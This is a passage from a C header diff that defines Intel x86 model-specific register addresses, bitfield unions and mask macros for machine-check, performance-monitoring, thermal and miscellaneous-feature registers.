Machine Check Status. + * + * @remarks 06_01H + */ +#define IA32_MCG_STATUS 0x0000017A +typedef union +{ + struct + { + /** + * [Bit 0] Restart IP valid. + * + * @remarks 06_01H + */ + uint64_t ripv : 1; +#define IA32_MCG_STATUS_RIPV_BIT 0 +#define IA32_MCG_STATUS_RIPV_FLAG 0x01 +#define IA32_MCG_STATUS_RIPV_MASK 0x01 +#define IA32_MCG_STATUS_RIPV(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Error IP valid. + * + * @remarks 06_01H + */ + uint64_t eipv : 1; +#define IA32_MCG_STATUS_EIPV_BIT 1 +#define IA32_MCG_STATUS_EIPV_FLAG 0x02 +#define IA32_MCG_STATUS_EIPV_MASK 0x01 +#define IA32_MCG_STATUS_EIPV(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Machine check in progress. + * + * @remarks 06_01H + */ + uint64_t mcip : 1; +#define IA32_MCG_STATUS_MCIP_BIT 2 +#define IA32_MCG_STATUS_MCIP_FLAG 0x04 +#define IA32_MCG_STATUS_MCIP_MASK 0x01 +#define IA32_MCG_STATUS_MCIP(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If IA32_MCG_CAP.LMCE_P[27] = 1. + */ + uint64_t lmce_s : 1; +#define IA32_MCG_STATUS_LMCE_S_BIT 3 +#define IA32_MCG_STATUS_LMCE_S_FLAG 0x08 +#define IA32_MCG_STATUS_LMCE_S_MASK 0x01 +#define IA32_MCG_STATUS_LMCE_S(_) (((_) >> 3) & 0x01) + uint64_t reserved1 : 60; + }; + + uint64_t flags; +} ia32_mcg_status_register; + + +/** + * Global Machine Check Control. + * + * @remarks If IA32_MCG_CAP.CTL_P[8] = 1 + */ +#define IA32_MCG_CTL 0x0000017B + /** + * @defgroup ia32_perfevtsel \ + * IA32_PERFEVTSEL(n) + * + * Performance Event Select Register n. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + * @{ + */ +#define IA32_PERFEVTSEL0 0x00000186 +#define IA32_PERFEVTSEL1 0x00000187 +#define IA32_PERFEVTSEL2 0x00000188 +#define IA32_PERFEVTSEL3 0x00000189 +typedef union +{ + struct + { + /** + * [Bits 7:0] Selects a performance event logic unit. + */ + uint64_t event_select : 8; +#define IA32_PERFEVTSEL_EVENT_SELECT_BIT 0 +#define IA32_PERFEVTSEL_EVENT_SELECT_FLAG 0xFF +#define IA32_PERFEVTSEL_EVENT_SELECT_MASK 0xFF +#define IA32_PERFEVTSEL_EVENT_SELECT(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Qualifies the microarchitectural condition to detect on the selected event logic. + */ + uint64_t u_mask : 8; +#define IA32_PERFEVTSEL_U_MASK_BIT 8 +#define IA32_PERFEVTSEL_U_MASK_FLAG 0xFF00 +#define IA32_PERFEVTSEL_U_MASK_MASK 0xFF +#define IA32_PERFEVTSEL_U_MASK(_) (((_) >> 8) & 0xFF) + + /** + * [Bit 16] Counts while in privilege level is not ring 0. + */ + uint64_t usr : 1; +#define IA32_PERFEVTSEL_USR_BIT 16 +#define IA32_PERFEVTSEL_USR_FLAG 0x10000 +#define IA32_PERFEVTSEL_USR_MASK 0x01 +#define IA32_PERFEVTSEL_USR(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] Counts while in privilege level is ring 0. + */ + uint64_t os : 1; +#define IA32_PERFEVTSEL_OS_BIT 17 +#define IA32_PERFEVTSEL_OS_FLAG 0x20000 +#define IA32_PERFEVTSEL_OS_MASK 0x01 +#define IA32_PERFEVTSEL_OS(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] Enables edge detection if set. + */ + uint64_t edge : 1; +#define IA32_PERFEVTSEL_EDGE_BIT 18 +#define IA32_PERFEVTSEL_EDGE_FLAG 0x40000 +#define IA32_PERFEVTSEL_EDGE_MASK 0x01 +#define IA32_PERFEVTSEL_EDGE(_) (((_) >> 18) & 0x01) + + /** + * [Bit 19] Enables pin control. + */ + uint64_t pc : 1; +#define IA32_PERFEVTSEL_PC_BIT 19 +#define IA32_PERFEVTSEL_PC_FLAG 0x80000 +#define IA32_PERFEVTSEL_PC_MASK 0x01 +#define IA32_PERFEVTSEL_PC(_) (((_) >> 19) & 0x01) + + /** + * [Bit 20] Enables interrupt on counter overflow. + */ + uint64_t intr : 1; +#define IA32_PERFEVTSEL_INTR_BIT 20 +#define IA32_PERFEVTSEL_INTR_FLAG 0x100000 +#define IA32_PERFEVTSEL_INTR_MASK 0x01 +#define IA32_PERFEVTSEL_INTR(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] When set to 1, it enables counting the associated event conditions occurring across all logical processors + * sharing a processor core. When set to 0, the counter only increments the associated event conditions occurring in the + * logical processor which programmed the MSR. + */ + uint64_t any_thread : 1; +#define IA32_PERFEVTSEL_ANY_THREAD_BIT 21 +#define IA32_PERFEVTSEL_ANY_THREAD_FLAG 0x200000 +#define IA32_PERFEVTSEL_ANY_THREAD_MASK 0x01 +#define IA32_PERFEVTSEL_ANY_THREAD(_) (((_) >> 21) & 0x01) + + /** + * [Bit 22] Enables the corresponding performance counter to commence counting when this bit is set. + */ + uint64_t en : 1; +#define IA32_PERFEVTSEL_EN_BIT 22 +#define IA32_PERFEVTSEL_EN_FLAG 0x400000 +#define IA32_PERFEVTSEL_EN_MASK 0x01 +#define IA32_PERFEVTSEL_EN(_) (((_) >> 22) & 0x01) + + /** + * [Bit 23] Invert the CMASK. + */ + uint64_t inv : 1; +#define IA32_PERFEVTSEL_INV_BIT 23 +#define IA32_PERFEVTSEL_INV_FLAG 0x800000 +#define IA32_PERFEVTSEL_INV_MASK 0x01 +#define IA32_PERFEVTSEL_INV(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] When CMASK is not zero, the corresponding performance counter increments each cycle if the event count is + * greater than or equal to the CMASK. + */ + uint64_t cmask : 8; +#define IA32_PERFEVTSEL_CMASK_BIT 24 +#define IA32_PERFEVTSEL_CMASK_FLAG 0xFF000000 +#define IA32_PERFEVTSEL_CMASK_MASK 0xFF +#define IA32_PERFEVTSEL_CMASK(_) (((_) >> 24) & 0xFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_perfevtsel_register; + +/** + * @} + */ + + + /** + * Current Performance Status. + * + * @remarks 0F_03H + * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] + */ +#define IA32_PERF_STATUS 0x00000198 +typedef union +{ + struct + { + /** + * [Bits 15:0] Current performance State Value. + */ + uint64_t state_value : 16; +#define IA32_PERF_STATUS_STATE_VALUE_BIT 0 +#define IA32_PERF_STATUS_STATE_VALUE_FLAG 0xFFFF +#define IA32_PERF_STATUS_STATE_VALUE_MASK 0xFFFF +#define IA32_PERF_STATUS_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 48; + }; + + uint64_t flags; +} ia32_perf_status_register; + + +/** + * @brief Performance Control (R/W) + * + * Performance Control. Software makes a request for a new Performance state (P-State) by writing this MSR. + * + * @remarks 0F_03H + * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] + */ +#define IA32_PERF_CTL 0x00000199 +typedef union +{ + struct + { + /** + * [Bits 15:0] Target performance State Value. + */ + uint64_t target_state_value : 16; +#define IA32_PERF_CTL_TARGET_STATE_VALUE_BIT 0 +#define IA32_PERF_CTL_TARGET_STATE_VALUE_FLAG 0xFFFF +#define IA32_PERF_CTL_TARGET_STATE_VALUE_MASK 0xFFFF +#define IA32_PERF_CTL_TARGET_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 16; + + /** + * [Bit 32] IDA Engage. + * + * @remarks 06_0FH (Mobile only) + */ + uint64_t ida_engage : 1; +#define IA32_PERF_CTL_IDA_ENGAGE_BIT 32 +#define IA32_PERF_CTL_IDA_ENGAGE_FLAG 0x100000000 +#define IA32_PERF_CTL_IDA_ENGAGE_MASK 0x01 +#define IA32_PERF_CTL_IDA_ENGAGE(_) (((_) >> 32) & 0x01) + uint64_t reserved2 : 31; + }; + + uint64_t flags; +} ia32_perf_ctl_register; + + +/** + * Clock Modulation Control. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.3(Software Controlled Clock Modulation)] + */ +#define IA32_CLOCK_MODULATION 0x0000019A +typedef union +{ + struct + { + /** + * [Bit 0] Extended On-Demand Clock Modulation Duty Cycle. + * + * @remarks If CPUID.06H:EAX[5] = 1 + */ + uint64_t extended_on_demand_clock_modulation_duty_cycle : 1; +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 0 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x01 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x01 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 0) & 0x01) + + /** + * @brief On-Demand Clock Modulation Duty Cycle + * + * [Bits 3:1] On-Demand Clock Modulation Duty Cycle: Specific encoded values for target duty cycle modulation. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t on_demand_clock_modulation_duty_cycle : 3; +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 1 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x0E +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x07 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 1) & 0x07) + + /** + * @brief On-Demand Clock Modulation Enable + * + * [Bit 4] On-Demand Clock Modulation Enable: Set 1 to enable modulation. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t on_demand_clock_modulation_enable : 1; +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_BIT 4 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_FLAG 0x10 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_MASK 0x01 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved1 : 59; + }; + + uint64_t flags; +} ia32_clock_modulation_register; + + +/** + * @brief Thermal Interrupt Control (R/W) + * + * Thermal Interrupt Control. Enables and disables the generation of an interrupt on temperature transitions detected with + * the processor's thermal sensors and thermal monitor. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.2(Thermal Monitor)] + */ +#define IA32_THERM_INTERRUPT 0x0000019B +typedef union +{ + struct + { + /** + * [Bit 0] High-Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t high_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Low-Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t low_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] PROCHOT\# Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] FORCEPR\# Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t forcepr_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_BIT 3 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_FLAG 0x08 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Critical Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_BIT 4 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x10 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved1 : 3; + + /** + * [Bits 14:8] Threshold \#1 Value + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold1_value : 7; +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) + + /** + * [Bit 15] Threshold \#1 Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold1_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Threshold \#2 Value. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold2_value : 7; +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) + + /** + * [Bit 23] Threshold \#2 Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold2_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] Power Limit Notification Enable. + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limit_notification_enable : 1; +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) + uint64_t reserved2 : 39; + }; + + uint64_t flags; +} ia32_therm_interrupt_register; + + +/** + * @brief Thermal Status Information (RO) + * + * Thermal Status Information. Contains status information about the processor's thermal sensor and automatic thermal + * monitoring facilities. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.2(Thermal Monitor)] + */ +#define IA32_THERM_STATUS 0x0000019C +typedef union +{ + struct + { + /** + * [Bit 0] Thermal Status + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t thermal_status : 1; +#define IA32_THERM_STATUS_THERMAL_STATUS_BIT 0 +#define IA32_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Thermal Status Log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t thermal_status_log : 1; +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] PROCHOT \# or FORCEPR\# event + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_forcepr_event : 1; +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_BIT 2 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_FLAG 0x04 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_MASK 0x01 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] PROCHOT \# or FORCEPR\# log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_forcepr_log : 1; +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_BIT 3 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_FLAG 0x08 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_MASK 0x01 +#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Critical Temperature Status + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_status : 1; +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Critical Temperature Status log + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_status_log : 1; +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Thermal Threshold \#1 Status + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold1_status : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Thermal Threshold \#1 log + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold1_log : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Thermal Threshold \#2 Status + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold2_status : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Thermal Threshold \#2 log + * + * @remarks If CPUID.01H:ECX[8] = 1 + */ + uint64_t thermal_threshold2_log : 1; +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 +#define IA32_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Power Limitation Status + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limitation_status : 1; +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Power Limitation log + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limitation_log : 1; +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 +#define IA32_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] Current Limit Status + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t current_limit_status : 1; +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_BIT 12 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_FLAG 0x1000 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CURRENT_LIMIT_STATUS(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Current Limit log + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t current_limit_log : 1; +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_BIT 13 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_FLAG 0x2000 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CURRENT_LIMIT_LOG(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Cross Domain Limit Status + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t cross_domain_limit_status : 1; +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_BIT 14 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_FLAG 0x4000 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS_MASK 0x01 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_STATUS(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] Cross Domain Limit log + * + * @remarks If CPUID.06H:EAX[7] = 1 + */ + uint64_t cross_domain_limit_log : 1; +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_BIT 15 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_FLAG 0x8000 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG_MASK 0x01 +#define IA32_THERM_STATUS_CROSS_DOMAIN_LIMIT_LOG(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Digital Readout + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t digital_readout : 7; +#define IA32_THERM_STATUS_DIGITAL_READOUT_BIT 16 +#define IA32_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 +#define IA32_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F +#define IA32_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) + uint64_t reserved1 : 4; + + /** + * [Bits 30:27] Resolution in Degrees Celsius + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t resolution_in_degrees_celsius : 4; +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_BIT 27 +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_FLAG 0x78000000 +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS_MASK 0x0F +#define IA32_THERM_STATUS_RESOLUTION_IN_DEGREES_CELSIUS(_) (((_) >> 27) & 0x0F) + + /** + * [Bit 31] Reading Valid + * + * @remarks If CPUID.06H:EAX[0] = 1 + */ + uint64_t reading_valid : 1; +#define IA32_THERM_STATUS_READING_VALID_BIT 31 +#define IA32_THERM_STATUS_READING_VALID_FLAG 0x80000000 +#define IA32_THERM_STATUS_READING_VALID_MASK 0x01 +#define IA32_THERM_STATUS_READING_VALID(_) (((_) >> 31) & 0x01) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_therm_status_register; + + +/** + * @brief Enable Misc. Processor Features (R/W) + * + * Allows a variety of processor functions to be enabled and disabled. + */ +#define IA32_MISC_ENABLE 0x000001A0 +typedef union +{ + struct + { + /** + * @brief Fast-Strings Enable + * + * [Bit 0] When set, the fast-strings feature (for REP MOVS and REP STORS) is enabled (default). When clear, fast-strings + * are disabled. + * + * @remarks 0F_0H + */ + uint64_t fast_strings_enable : 1; +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_BIT 0 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_FLAG 0x01 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_FAST_STRINGS_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 2; + + /** + * @brief Automatic Thermal Control Circuit Enable (R/W) + * + * [Bit 3] - 1 = Setting this bit enables the thermal control circuit (TCC) portion of the Intel Thermal Monitor feature. + * This allows the processor to automatically reduce power consumption in response to TCC activation. + * - 0 = Disabled. + * + * @note In some products clearing this bit might be ignored in critical thermal conditions, and TM1, TM2 and adaptive + * thermal throttling will still be activated. The default value of this field varies with product. + * @remarks 0F_0H + */ + uint64_t automatic_thermal_control_circuit_enable : 1; +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_BIT 3 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_FLAG 0x08 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_AUTOMATIC_THERMAL_CONTROL_CIRCUIT_ENABLE(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 3; + + /** + * @brief Performance Monitoring Available (R) + * + * [Bit 7] - 1 = Performance monitoring enabled. + * - 0 = Performance monitoring disabled. + * + * @remarks 0F_0H + */ + uint64_t performance_monitoring_available : 1; +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_BIT 7 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_FLAG 0x80 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_PERFORMANCE_MONITORING_AVAILABLE(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 3; + + /** + * @brief Branch Trace Storage Unavailable (RO) + * + * [Bit 11] - 1 = Processor doesn't support branch trace storage (BTS). + * - 0 = BTS is supported. + * + * @remarks 0F_0H + */ + uint64_t branch_trace_storage_unavailable : 1; +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_BIT 11 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_FLAG 0x800 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_BRANCH_TRACE_STORAGE_UNAVAILABLE(_) (((_) >> 11) & 0x01) + + /** + * @brief Processor Event Based Sampling (PEBS) Unavailable (RO) + * + * [Bit 12] - 1 = PEBS is not supported. + * - 0 = PEBS is supported. + * + * @remarks 06_0FH + */ + uint64_t 